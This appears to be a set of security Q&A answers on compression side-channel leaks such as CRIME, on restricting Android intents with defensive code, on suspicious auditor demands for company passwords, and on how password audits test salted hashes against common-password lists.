In general, compression of any kind inherently increases information leaks, because encryption does not hide data size, and compression makes data size dependent on data contents. The specific case of CRIME is when the compression is applied at the SSL level, because it then encompasses an area (the HTTP headers) full of values which are, from the point of view of the attacker, very juicy. However, if there is a secret value that the attacker wants to obtain, such that the value is located in the request bodies, then HTTP-level compression could be equally vulnerable.

If you want the benefits of compression, then you will also get the disadvantages of compression, namely this increase in leaks. This requires some thorough, specific analysis.

(Note that size-related leakages are not specific to compression; text-based representations, e.g. a decimal integer in XML, can also have a variable size which depends on the exact data contents; however, compression exacerbates the issue, making it much easier to turn the leak into a successful attack.)


Should I encrypt data sent via Android intent?

No, the Android OS doesn't guarantee that intent data is not seen by anyone. Any malicious app implementing the intent filter is able to receive the message and thus get hold of your sensitive data. Encrypting data is good idea but make sure that:

the key used for encryption is not stored on the SD card.
you are not hard-coding the key in the app as it is very trivial to get the source from the apk.

Also, make sure that only the app(s) which are intended to receive the message (via intents) are receiving the intent and that no other app is able to receive that intent. If you want to communicate confidential data and if you know the class names the apps that would be communicating via intents, you can either ensure that only that specific app receives the intent by using the setClassname() method of the intents. For ex:

Intent i = new Intent();
i.setClassName(“your.pkg.name”, “your.pkg.name.Destination”);

or by letting apps having only specific permissions receive the intent. For ex:

Intent i = new Intent();
i.setAction(“your.own.action”);
sendBroadcast(i, “your.own.permission”);

Source: "Seven Ways to Hang Yourself with Google Android" (Defcon 19)


Is it normal for auditors to require all company passwords?

Is this normal for a pentest?

Absolutely not.  Best case scenario: they are performing "social engineering" penetration testing and want to see if you can be pressured into fulfilling a very dangerous action.  Middle-case scenario, they don't know how to do their job.  Worst-case scenario they are only pretending to be an auditing company and fulfilling their request will result in an expensive breach.

In the case of a code-audit the company will obviously need access to source code.  However I would expect a company who provides such services to already understand the sensitivity of such a need and have lots of forms for you to sign, and to offer to work in a strictly controlled environment.  A reputable security company is going to be concerned not just with protecting you (because it is their job) but also with protecting themselves from untrustworthy clients (Our source code got leaked right after we hired you: we're suing!!!!).  All this to say: any reputable security company that doesn't have you sign lots of contracts before going to work is not a reputable security company.

I can't imagine any circumstances in which handing over access to any of those things would be a good idea.

Edit RE: hidden contracts

A few have suggested that the company might have simply not told the OP about any relevant contracts/agreements/NDAs.  I suppose this is possible, but I want to clarify that the lack of a contract isn't the only red flag that I see.

As someone who has built e-commerce sites and business software that has required integration with many CC Processors, I see absolutely no benefit to giving someone else access to your CC Processor.  At that point in time they are no longer penetration testing your systems: they are penetration testing someone else's systems that you happen to use.  Indeed, giving out access credentials in such a way likely violates the terms of service that you signed when you started using your CC Processor (not to mention the other systems they are requesting access to).  So unless you have permission from your CC Processor to hand your credentials to a security auditing company (hint: they would never give you permission), giving them that access is a huge liability.

Many others here have done a great job articulating the differences between white-box and black-box testing.  It is certainly true that the more access you give security auditors, the more effectively they can do their jobs.  However, increased access comes with increases costs: both because they charge more for a more thorough vetting, and also increased costs in terms of increased liability and increased trust you have to extend to this company and their employees.  You are talking about freely giving them complete control over all of your companies systems.  I can't imagine any circumstances under which I would agree to that.


School performs periodic password audits. Is my password compromised?

Your understanding is wrong. If passwords are stored as a strong salted hash, the administrator can’t find good user passwords, but can find ones that are on lists of commonly used passwords by applying the hash and salt to every password on the list and looking for a match. It’s a lot easier if the stored passwords aren’t salted, though, since in that case you only have to run it once and not once per user, so this may indicate that the stored passwords are not salted, which is contrary to best practice.